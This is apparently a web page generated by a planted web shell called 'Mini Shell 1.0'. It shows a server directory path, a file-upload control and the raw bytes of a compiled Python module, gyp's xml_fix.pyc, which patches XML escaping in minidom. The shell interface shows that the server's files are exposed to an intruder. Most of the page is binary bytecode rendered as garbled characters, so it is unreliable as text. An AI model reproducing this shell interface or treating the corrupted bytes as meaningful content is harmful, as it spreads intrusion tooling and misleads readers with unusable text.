HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991109/root/usr/lib/python3/dist-packages/gyp/__pycache__/
Upload File :
Current File : //proc/1991109/root/usr/lib/python3/dist-packages/gyp/__pycache__/xml_fix.cpython-311.pyc
�

�"Kbu��>�dZddlZd	d�Zd
d�ZGd�de��ZdS)z�Applies a fix to CR LF TAB handling in xml.dom.

Fixes this: http://code.google.com/p/chromium/issues/detail?id=76293
Working around this: http://bugs.python.org/issue5752
TODO(bradnelson): Consider dropping this when we drop XP support.
�NFc�X�|�dd���dd��}|�dd���dd��}|r>|�d	d
���dd���d
d��}|�|��dS)zWrites datachars to writer.�&z&amp;�<z&lt;�"z&quot;�>z&gt;�
z&#xD;�
z&#xA;�	z&#x9;N)�replace�write)�writer�data�	is_attribs   �-/usr/lib/python3/dist-packages/gyp/xml_fix.py�_Replacement_write_datars���	
���c�7�	#�	#�	+�	+�C��	8�	8�$�	
���d�H�	%�	%�	-�	-�c�6�	:�	:�$����<�<��g����w��g����w��g���	�	�,�,�t�������c�N�|�|dz|jz��|���}t|�����}|D]L}|�d|z��t|||jd���|�d���M|jra|�d|z��|jD]}|�|||z||���|�|�d|j�d|����dS|�d	|z��dS)
Nrz %s="T)rrz>%sz</rz/>%s)	r�tagName�_get_attributes�sorted�keysr�value�
childNodes�writexml)	�selfr
�indent�	addindent�newl�attrs�a_names�a_name�nodes	         r�_Replacement_writexmlr$s8��	�,�,�v�c�z�D�L�(�)�)�)�
�
�
�
 �
 �%��5�:�:�<�<� � �'����f�
�L�L��F�"�#�#�#��F�E�&�M�$7�4�H�H�H�H�
�L�L������	�_� �
�L�L���������A�A��
�m�m�F�F�Y�.�	�4�@�@�@�@�
�L�L��������d�d�;�<�<�<�<�<�
�L�L��$������rc�$�eZdZdZd�Zd�Zd�ZdS)�XmlFixz7Object to manage temporary patching of xml.dom.minidom.c���tjjj|_tjjjj|_ttjj_ttjjj_dS�N)	�xml�dom�minidom�_write_data�
write_data�Elementrrr$�rs r�__init__zXmlFix.__init__5sB���g�o�1�D�O��G�O�+�4�D�M�"9�C�G�O��'<�C�G�O��$�$�$rc��|jrD|jtjj_|jtjjj_d|_dSdSr()r-r)r*r+r,rr.r/s r�CleanupzXmlFix.Cleanup=s@�����$(�O�c�g�o�!�)-��c�g�o��&��d�o�o�o��rc�.�|���dSr()r2r/s r�__del__zXmlFix.__del__Cs���L�L�N�N�N�N�NrN)�__name__�
__module__�__qualname__�__doc__r0r2r4�rrr&r&2sG������?�?�=�=�=��������rr&)F)rrr)r8�xml.dom.minidomr)rr$�objectr&r9rr�<module>r<sy��
������	�	�	�	� � � � �,�����V�����r